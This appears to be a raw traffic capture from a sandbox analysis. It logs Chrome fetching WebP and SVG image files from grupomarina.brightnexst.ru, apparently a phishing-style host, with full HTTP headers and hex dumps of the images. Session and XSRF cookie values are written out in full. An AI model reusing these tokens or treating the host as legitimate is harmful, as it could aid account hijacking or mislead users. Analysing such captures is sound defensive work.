laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
2025-03-17 20:55:17 UTC	1074	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:17 GMT Content-Type: image/webp Content-Length: 644 Connection: close Content-Disposition: inline; filename="uv5tOb9SlHnVjDL3WYeZfQoF3Qs83rstFSZ0igTibpOtLLBCKZ34130" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nrYdkyladkCfbCnC0e7JqGO40AY1VtOY%2BrOjM0gRZGnbk1GoAhF9JfgbRbQwvrzeCh%2Fd%2Ftue7X%2F7hHa4zTty5%2FT8uT%2BwE4aI2RlXXrejMYAxdLPFpzbIlKJEv17P"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=3978&min_rtt=3940&rtt_var=1554&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2080&delivery_rate=681732&cwnd=251&unsent_bytes=0&cid=122c14572c476eae&ts=84&x=0" Server: cloudflare CF-RAY: 921f63eaef3e41d8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1617&min_rtt=1610&rtt_var=619&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1740&delivery_rate=1745367&cwnd=232&unsent_bytes=0&cid=4b0be2e2df27e038&ts=1160&x=0"
2025-03-17 20:55:17 UTC	295	IN	Data Raw: 52 49 46 46 7c 02 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 30 00 00 00 17 00 00 17 00 00 49 43 43 50 c8 01 00 00 00 00 01 c8 00 00 00 00 04 30 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 e0 00 01 00 01 00 00 00 00 00 00 61 63 73 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 f6 d6 00 01 00 00 00 00 d3 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 64 65 73 63 00 00 00 f0 00 00 00 24 72 58 59 5a 00 00 01 14 00 00 00 14 67 58 59 5a 00 00 01 28 00 00 00 14 62 58 59 5a 00 00 01 3c 00 00 00 14 77 74 70 74 00 00 01 50 00 00 00 14 72 54 52 43 00 00 01 64 00 00 00 28 67 54 52 43 00 00 01 64 00 00 00 28 62 Data Ascii: RIFF\|WEBPVP8X0ICCP0mntrRGB XYZ acsp-desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(b
2025-03-17 20:55:17 UTC	349	IN	Data Raw: 6e 55 53 00 00 00 08 00 00 00 1c 00 73 00 52 00 47 00 42 58 59 5a 20 00 00 00 00 00 00 6f a2 00 00 38 f5 00 00 03 90 58 59 5a 20 00 00 00 00 00 00 62 99 00 00 b7 85 00 00 18 da 58 59 5a 20 00 00 00 00 00 00 24 a0 00 00 0f 84 00 00 b6 cf 58 59 5a 20 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 70 61 72 61 00 00 00 00 00 04 00 00 00 02 66 66 00 00 f2 a7 00 00 0d 59 00 00 13 d0 00 00 0a 5b 00 00 00 00 00 00 00 00 6d 6c 75 63 00 00 00 00 00 00 00 01 00 00 00 0c 65 6e 55 53 00 00 00 20 00 00 00 1c 00 47 00 6f 00 6f 00 67 00 6c 00 65 00 20 00 49 00 6e 00 63 00 2e 00 20 00 32 00 30 00 31 00 36 41 4c 50 48 4b 00 00 00 01 57 60 24 92 d4 f4 9f 7a f9 80 22 0d 59 88 88 50 7d 30 3b 07 50 45 b2 92 47 0b 12 68 00 c6 06 8c 39 88 40 0a 8d 60 03 93 32 ef 8b 00 11 fd 9f Data Ascii: nUSsRGBXYZ o8XYZ bXYZ $XYZ -paraffY[mlucenUS Google Inc. 2016ALPHKW`$z"YP}0;PEGh9@`2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.16	49767	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:17 UTC	1475	OUT	GET /ghBioawVsGsUA117yrJ412EaQY1Skt4YW6RuiH2YzmHxyQfrkxsWCkyew24xOurTOMWC6k8Q012210 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
2025-03-17 20:55:17 UTC	882	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:17 GMT Content-Type: image/webp Content-Length: 25216 Connection: close Server: cloudflare Content-Disposition: inline; filename="ghBioawVsGsUA117yrJ412EaQY1Skt4YW6RuiH2YzmHxyQfrkxsWCkyew24xOurTOMWC6k8Q012210" Cf-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7yMV2Qt2jw1MHPqE%2FXMAye8l2W2XrxS%2FEUNcSSyPbeXZRmPDiZVvNw83UJ0Izsph6QJaBRkUl4hYt%2FnzkfzO2KURagam%2B3QxDkg7ZbwnVLsGtJNOFC8u1uQkxs%2Fn"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server-Timing: cfL4;desc="?proto=TCP&rtt=1863&min_rtt=1863&rtt_var=700&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2386&delivery_rate=1549491&cwnd=251&unsent_bytes=0&cid=74a3153fdcae681b&ts=80&x=0" CF-RAY: 921f63ebaca141cd-EWR alt-svc: h3=":443"; ma=86400
2025-03-17 20:55:17 UTC	487	IN	Data Raw: 52 49 46 46 78 62 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 30 00 00 00 6f 08 00 ba 01 00 49 43 43 50 c8 01 00 00 00 00 01 c8 00 00 00 00 04 30 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 e0 00 01 00 01 00 00 00 00 00 00 61 63 73 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 f6 d6 00 01 00 00 00 00 d3 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 64 65 73 63 00 00 00 f0 00 00 00 24 72 58 59 5a 00 00 01 14 00 00 00 14 67 58 59 5a 00 00 01 28 00 00 00 14 62 58 59 5a 00 00 01 3c 00 00 00 14 77 74 70 74 00 00 01 50 00 00 00 14 72 54 52 43 00 00 01 64 00 00 00 28 67 54 52 43 00 00 01 64 00 00 00 28 62 Data Ascii: RIFFxbWEBPVP8X0oICCP0mntrRGB XYZ acsp-desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(b
2025-03-17 20:55:17 UTC	1369	IN	Data Raw: 32 00 30 00 31 00 36 41 4c 50 48 a0 59 00 00 01 ff 27 24 48 f0 ff 78 6b 44 a4 ee e1 8f ff 6f 55 53 fa ff 5b d7 75 4d 07 03 c3 d0 43 77 49 a3 48 23 dd 48 a7 74 28 1d 0e 21 4a 8b 41 4a 23 20 a1 28 8d 84 d2 1d d2 dd cd 90 13 30 1d 57 ac 3f 44 e6 9a b5 d6 de 67 e6 36 af eb 75 8b e8 ff 04 80 d2 7d 4b 35 ea 3e 7c da 92 cd fb ce 5e be ff 2a 32 09 ff 1d 13 19 7a ff fa d9 bd bf 2f 9e 31 fa b3 46 a5 03 41 c7 dd f3 56 6b f3 c5 57 b3 57 6d 3f 7a ee de fd f0 48 2b fe 3b 3a f2 f1 dd 73 c7 fe 5a 3b f7 ab 81 9f 56 0f b6 80 ab ed a0 5a fd 67 6d bf 18 8e 14 13 ee 1d 5c 3e b6 7d c5 00 2d b2 14 f8 a4 ff 77 9b 2e bc 44 8a c9 0f 8f ae 99 d0 ae b4 87 2b 2c 4b e9 1e f3 8f 86 23 c3 e7 fb e6 f4 fd d0 5f 5b 4c 05 5b 8c 5d 77 31 11 e9 5b ef 6c 99 d0 38 9b 0b ab ac ad 66 1d 8f 45 d6 Data Ascii: 2016ALPHY'$HxkDoUS[uMCwIH#Ht(!JAJ# (0W?Dg6u}K5>\|^*2z/1FAVkWWm?zH+;:sZ;VZgm\>}-w.D+,K#_[L[]w1[l8fE
2025-03-17 20:55:17 UTC	1369	IN	Data Raw: 20 f3 eb 0d 40 89 a6 86 3b ed 6a 78 36 21 1b 28 d1 fb eb 38 66 d8 d6 85 cb e7 c8 fb cd 50 37 50 66 d1 79 51 f2 9d ee ec 0e ca cc bb 9e 59 58 76 97 2d f9 63 78 ed ce 03 4a cd 34 f4 81 68 f6 cd 1f 82 5a 5b be 60 85 7f b8 6a 31 fd 8d 9c a3 fa 9b 40 b5 e6 f6 b7 c4 b2 ef a8 00 ca cd bc 94 15 7e ea a2 a5 2f 72 de 97 0f 54 6c 6e 7f 43 a4 e4 35 c5 41 c9 cd 9f 73 7a 11 e8 92 25 cf 1b 46 d6 51 26 50 b4 b9 d3 55 71 12 16 e6 07 55 e7 3c cc 08 57 bb 64 d9 81 7c 5f d6 01 85 9b db de 14 25 79 51 6e 50 b8 db 2c 46 d8 c4 05 4b 77 e4 7b 36 3f 28 bd d4 33 41 1c 1b 8a 82 e2 5b bd e5 f3 2c b3 cb 95 2c 61 7c 16 7a 80 d2 ab 46 a0 9c fb 2a 83 fa 4b dd 66 83 f3 5d ae cc 45 ae 8e 2f 41 ed b5 a3 50 cc ab ed 41 0b b3 1c 63 63 2d e3 62 a5 44 32 97 a4 ce a0 f6 e6 09 28 e5 d3 ce 26 d0 Data Ascii: @;jx6!(8fP7PfyQYXv-cxJ4hZ[`j1@~/rTlnC5Asz%FQ&PUqU<Wd\|_%yQnP,FKw{6?(3A[,,a\|zF*Kf]E/APAcc-bD2(&
2025-03-17 20:55:17 UTC	1369	IN	Data Raw: 26 ee 1d 5e 34 dd e6 15 07 f4 d7 97 e9 2c 7a 1a 31 ef 58 62 97 40 cd 96 43 c8 37 b6 2e 18 cf 4f a8 cd d1 32 af 1e a7 51 c5 47 3a ba a7 71 dc d4 93 7f 5f 1a 57 30 5d c6 cd c1 22 9f be ac 64 31 dc 88 35 43 e2 fd 15 35 05 f9 46 d7 04 03 6a ba 41 ec 9e 86 05 4d 0d 43 55 3f 1d e5 9f a6 f1 50 5f 10 f1 f4 88 3c e9 2f 9e c8 b2 a0 be ac 61 31 da 88 2d 21 f6 c6 57 4d f5 ed 7c 62 3e 06 43 3a 84 18 96 d6 ad e0 39 b1 a8 f2 37 df e6 4c a7 41 b4 ff fd a9 7b 46 a8 27 c4 96 83 92 73 bd 44 b6 09 f5 c0 98 66 4d 26 36 46 af 8a fe 9c 84 aa 8f 9f 95 3d 9d 06 11 5f 7c 5b 38 c3 53 61 24 5e 47 49 96 83 c8 36 b9 19 18 d5 1d c4 76 ea 54 fe 5f 6c a8 83 b1 df 05 a5 d7 20 da f7 36 33 65 6c ea 43 ec 99 45 49 93 91 ad ad 13 18 d6 ce c4 de 5a b4 29 70 66 02 ea 62 cc 24 ef f4 1a 44 bc 3b Data Ascii: &^4,z1Xb@C7.O2QG:q_W0]"d15C5FjAMCU?P_</a1-!WM\|b>C:97LA{F'sDfM&6F=_\|[8Sa$^GI6vT_l 63elCEIZ)pfb$D;
2025-03-17 20:55:17 UTC	1369	IN	Data Raw: 70 7c fa 0f 8e cb c0 02 e3 11 71 91 e9 26 22 4e 86 7f 95 a6 d5 4a 11 23 90 e3 66 30 f4 c7 48 ed 57 59 d9 18 94 de f6 e4 e4 8e 5f 66 4f 08 f9 b2 7f ff c1 21 e3 66 ce 5c b4 ee e0 b5 30 15 24 57 4c ff b1 37 cd c0 12 18 8b 18 db 09 11 13 b2 bf a3 3e ad aa 6a c8 12 c1 e1 79 90 b1 fb 83 d4 75 85 65 ba 87 82 bf 3d be f8 f3 7a 85 dc c1 a9 ee 79 6a f5 9f f5 d7 03 bb 64 78 c3 33 dd 07 df 14 cd b8 02 0b 10 31 0e 11 97 c2 3b ba d2 ca a7 86 1f 90 63 33 30 f6 73 49 45 28 ec 57 94 fa e6 8a de 25 4d 90 fa 3e b5 c6 ed 88 10 0b a7 a6 ff e0 55 ef 8c 2b 45 6c f8 6f 7b 89 77 7d 41 ca e1 a1 84 02 09 1c d6 81 c1 0f 21 65 55 57 0f 14 39 7a 4b ff 7c 40 d8 54 72 d0 ee 04 99 92 ca a6 85 c4 47 72 8d 53 04 2e c8 b8 02 5b de f1 27 bc 6b 2c a9 30 50 e2 3a 64 f8 2a 48 43 72 4c 3c 1a 1a Data Ascii: p\|q&"NJ#f0HWY_fO!f\0$WL7>jyue=zyjdx31;c30sIE(W%M>U+Elo{w}A!eUW9zK\|@TrGrS.['k,0P:d*HCrL<
2025-03-17 20:55:17 UTC	1369	IN	Data Raw: 64 ab dc 76 c4 9c 35 3b 4f dd 0e 8f 8c 46 c4 84 c8 c8 a7 b7 4f ed 5a 33 37 a4 d3 c7 b9 4d 46 0f 32 5d e4 77 4c be 4c e5 5a 0e 9d b5 76 f7 e9 bb 91 91 6f 11 13 23 23 1f 5d de ff db bc d1 6d 3e f0 d5 31 8f 62 0d fa 4e 5b b5 fd f8 cd 57 91 91 76 b4 45 46 86 de 3c b6 75 f9 e4 9e b5 82 4d 5a 96 b3 5a e7 b1 0b 36 1c b8 f4 34 32 32 01 31 3a 32 ec fe 99 dd 6b 66 0f 6d 56 d2 2b ad e8 0a a9 a9 72 79 be a4 d7 02 14 9e f3 37 e4 fa 95 60 31 a4 7a 29 a4 98 9d db 2a 50 f5 00 5e f3 e5 cb fa c9 b0 e5 a7 a3 31 55 13 af ac 1f df aa 90 91 83 5c 0f d9 61 65 c9 8a 75 fb 6e f7 63 4c c5 87 5b be 6a 9a 55 9f 02 9b 8e 5b 7f 35 19 9d 1f 77 6a 71 ff 4a 16 7d 72 af 3c 70 d1 d1 48 74 be e3 ce 86 71 8d b3 a4 01 fd 43 ea 47 b9 7a 22 f9 53 a0 6e f3 80 37 c8 f6 85 a7 5c 36 52 9d 14 b2 08 Data Ascii: dv5;OFOZ37MF2]wLLZvo##]m>1bN[WvEF<uMZZ64221:2kfmV+ry7`1z)*P^1U\aeuncL[jU[5wjqJ}r<pHtqCGz"Sn7\6R
2025-03-17 20:55:17 UTC	1369	IN	Data Raw: e3 4d 2e 99 17 db 51 e8 5b a5 95 d4 f9 25 0a 6d 1d 63 12 e3 0a 1f ac 23 83 db 1b 26 41 84 02 68 75 95 a8 1d 52 7f ec ae 14 9f ef 92 51 dc c7 16 89 4e 93 5a a9 08 bf 78 4e 11 99 b5 c1 fd 96 b3 4e f5 cb 04 92 77 7b 85 6a dc 9e cf 10 65 8e 64 75 8b 4d e1 a3 28 f7 f5 bc ea 69 fe 1c e5 8e 69 a4 9e 5c bb 50 f0 35 ee 52 1c 65 f4 83 0c d5 90 67 2c 10 36 25 93 0a 91 68 37 b9 e1 a0 d2 26 0f 50 e2 a6 12 85 92 fa 41 11 1d 90 73 08 e8 63 7b a7 bc 9e 55 1a 44 2f b2 0f 95 19 3b ca cd 00 c1 78 56 98 9f 87 a9 7f 0c 4a fe a8 a8 62 7c 97 a0 e8 c9 9f a9 a6 6d 38 8a be c7 5f 88 b5 8c ae c9 f0 35 93 7d 94 e0 05 a9 45 02 05 db a8 45 fa 29 24 d7 1f 28 f3 36 81 3c ec a4 42 14 f1 0b a7 d7 3e 1a 61 3a 98 22 db ce 4f 3d 40 74 d3 a0 58 54 e9 a9 a2 06 c8 ef 15 ab 3e 2c 72 ec 42 e1 5f Data Ascii: M.Q[%mc#&AhuRQNZxNNw{jeduM(ii\P5Reg,6%h7&PAsc{UD/;xVJb\|m8_5}EE)$(6<B>a:"O=@tXT>,rB_
2025-03-17 20:55:17 UTC	1369	IN	Data Raw: 4c 6b a8 12 5a f3 71 e4 30 5c d3 51 3b a3 ca 1b 94 3c 8c 4e a7 9a 69 2b 1a 09 f3 6e 34 14 ed 1d 3a 37 89 d1 9f 9c 02 ac 3c 2e 02 c3 dd a4 b0 98 1c 3e f1 c4 22 3c 85 2a ff 0f 2a fa 07 41 66 d1 6a a0 84 af f8 5c 03 a3 3d 00 35 f4 59 7e 63 02 77 f9 44 a5 da 04 34 14 93 d0 50 94 8c 46 9d 2b cf 28 d6 93 51 6b e4 39 9d c3 6c 5a 5d e4 68 89 c4 17 80 c8 be 3f 5a 51 d5 b7 05 39 4a 2b 58 09 bf f3 59 60 b4 ea 24 eb 08 5e f4 31 26 2b f9 60 50 2a 35 b6 1b 8a a6 76 43 e1 7f 03 b5 0e 1e f2 c1 06 8c 16 30 a9 ce a1 1f ad 39 72 fc 4c ad 8a 48 cd 1f a1 c2 4b 88 61 89 21 15 6d 52 c2 35 3e 3d 0c 56 fe d7 a8 a7 eb 4d 86 64 10 a3 0a a9 93 eb 35 1a 89 9c af d1 50 ac 42 cd 9b cb 68 0e a3 5b 3c c2 2d 1c 6a d0 3a 2e 86 f9 05 b1 eb 20 70 ae 35 a8 f4 10 31 ca 20 e9 7f 40 85 a6 38 3e Data Ascii: LkZq0\Q;<Ni+n4:7<.>"<*Afj\=5Y~cwD4PF+(Qk9lZ]h?ZQ9J+XY`$^1&+`P5vC09rLHKa!mR5>=VMd5PBh[<-j:. p51 @8>
2025-03-17 20:55:17 UTC	1369	IN	Data Raw: 49 ba 88 b1 25 18 9c 5c 96 d8 12 7e 97 69 fd 03 6a ac cf a7 bb 41 1a 80 32 26 fe d1 c4 02 ce 2f f8 cd 03 21 62 b2 1b 8a ef f8 b4 77 46 1f 94 f3 de a4 22 90 8a 45 be b9 ab 84 da 28 66 d8 dc 8a 90 aa 96 46 eb e2 15 60 be 2d 86 75 7b 5b 4f 48 d5 62 53 9f a8 60 1e 1f 2c 42 ae 10 f2 6c c0 c9 33 9e d6 3e 76 f5 91 f6 4a 90 d4 3f 5c 86 27 2d c1 f9 0f 69 dd 61 17 ec a0 f5 a3 22 9a f2 e9 68 8c bc 42 45 b8 fb 45 16 48 65 53 ed df 6c 12 e0 1c 43 31 8d 4f 57 27 98 ae 4a 61 ff e3 63 13 a4 76 b5 df ed f2 6d 91 e2 d9 70 1f 48 fd 1c 3f c4 88 d7 14 85 4c fa b9 30 a4 be 5b cf db f2 d5 65 34 84 5c 7f 1e 31 9e 9c e0 10 ad 44 3f 6e 5f 13 6b 27 0a 84 48 60 9b ed 07 a9 b8 90 16 66 e7 d6 0f 69 b7 54 44 6b 3e 9f 1a a3 01 28 e0 ed 1e 6e 40 b1 d8 6a ab 00 71 41 46 e2 6b 3e bd 9c d0 Data Ascii: I%\~ijA2&/!bwF"E(fF`-u{[OHbS`,Bl3>vJ?\'-ia"hBEEHeSlC1OW'JacvmpH?L0[e4\1D?n_k'H`fiTDk>(n@jqAFk>
2025-03-17 20:55:17 UTC	1369	IN	Data Raw: 01 b2 54 45 d6 27 2c fc 20 fb 2b 59 ae b0 4a 28 05 02 ae 17 aa 22 1f 2c 46 e7 31 8f f2 12 74 24 66 cb ce a6 06 92 0e 05 b1 3b 53 d9 9c 07 18 d6 a6 75 89 cf 97 c4 9e 99 d4 91 9d 4f 84 12 3e 0f 47 25 de ab e7 9c 31 7c ee fa 49 00 6d f8 38 72 1b 83 a6 7c 9e a6 64 27 ab 9d 26 09 60 bb 28 13 58 c5 14 06 09 5b 89 92 d3 c1 6a 38 48 18 18 2a 93 e9 31 9f 61 64 8a 21 cb 50 93 04 81 36 5a d8 9f cd e7 b4 b6 ca 05 7f 93 78 dc 02 58 fa d9 48 25 ba b1 39 43 6c 25 a8 d3 dd c1 c6 e1 2b 9f 79 25 aa d2 d6 cb 29 87 d8 24 57 05 19 97 b1 c1 3e c6 60 38 9f 2b 29 f0 88 e5 f4 2a 07 88 98 ed 85 24 87 58 f5 07 19 57 48 d2 0d 39 1f 30 8b 00 0d 65 82 79 7c fe 26 f3 05 8f 65 20 e2 09 62 07 d8 2c a1 35 5e b0 c2 f1 a9 67 9d e5 0b 4c af 92 c2 92 5c 0a 39 88 b5 57 08 44 b3 c1 72 f2 4d 41 Data Ascii: TE', +YJ(",F1t$f;SuO>G%1\|Im8r\|d'&`(X[j8H1ad!P6ZxXH%9Cl%+y%)$W>`8+)$XWH90ey\|&e b,5^gL\9WDrMA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.16	49768	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:17 UTC	1166	OUT	GET /ijbHPlXv32ebWvACIZbLFotR2xA3cdeNQ7GgeJq4gGCcuhx678168 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
2025-03-17 20:55:18 UTC	1106	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:18 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="ijbHPlXv32ebWvACIZbLFotR2xA3cdeNQ7GgeJq4gGCcuhx678168" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ho%2FeSVpa1gDTgEyd6uaGBjSxUZ6hy56w0kRMXREuRb1PtBbJB7z6zp6QQFSf%2FjgQP01oNkX7rZ%2FS1heG%2BS976h%2FfcE8xM%2Fn4eJ68XyU8bmLLbBx8eZawod2hsjaD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1921&min_rtt=1699&rtt_var=674&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2077&delivery_rate=1697538&cwnd=251&unsent_bytes=0&cid=afacf38655fe7c54&ts=152&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 921f63ebff782363-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1888&min_rtt=1797&rtt_var=739&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1738&delivery_rate=1624930&cwnd=225&unsent_bytes=0&cid=63d8369277c5e444&ts=1051&x=0"
2025-03-17 20:55:18 UTC	263	IN	Data Raw: 33 30 61 0d 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 3c 6d 61 73 6b 20 69 64 3d 22 30 37 62 32 36 30 33 34 2d 35 36 61 33 2d 34 39 64 32 2d 38 66 32 36 2d 63 37 62 38 34 65 62 34 65 65 64 34 22 20 66 69 6c 6c 3d 22 23 66 66 66 66 66 66 22 3e 0d 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 33 2e 39 37 36 32 20 30 43 31 36 2e 38 32 34 34 20 30 20 31 30 2e 39 37 30 37 20 35 2e 32 34 33 32 35 20 31 30 Data Ascii: 30a<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg"><mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff"><path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 10
2025-03-17 20:55:18 UTC	522	IN	Data Raw: 39 39 37 34 43 36 2e 38 39 36 31 34 20 31 34 2e 30 36 34 37 20 34 2e 35 20 31 37 2e 32 32 33 33 20 34 2e 35 20 32 30 2e 39 34 31 32 43 34 2e 35 30 30 31 39 20 32 30 2e 39 36 38 20 34 2e 35 30 30 34 31 20 32 30 2e 39 39 34 39 20 34 2e 35 30 30 36 36 20 32 31 2e 30 32 31 38 43 34 2e 35 30 30 32 32 20 32 31 2e 30 35 37 34 20 34 2e 35 20 32 31 2e 30 39 33 20 34 2e 35 20 32 31 2e 31 32 38 37 43 34 2e 35 35 30 32 31 20 32 38 2e 32 36 30 39 20 36 2e 38 30 39 36 37 20 33 39 2e 31 36 30 31 20 31 38 2e 36 30 39 31 20 34 36 2e 34 39 33 32 43 32 31 2e 38 32 32 35 20 34 38 2e 35 30 32 33 20 32 35 2e 38 38 39 36 20 34 38 2e 35 30 32 33 20 32 39 2e 31 35 33 32 20 34 36 2e 34 39 33 32 43 34 31 2e 30 35 33 20 33 39 2e 32 31 30 33 20 34 33 2e 33 31 32 35 20 32 38 2e 33 31 Data Ascii: 9974C6.89614 14.0647 4.5 17.2233 4.5 20.9412C4.50019 20.968 4.50041 20.9949 4.50066 21.0218C4.50022 21.0574 4.5 21.093 4.5 21.1287C4.55021 28.2609 6.80967 39.1601 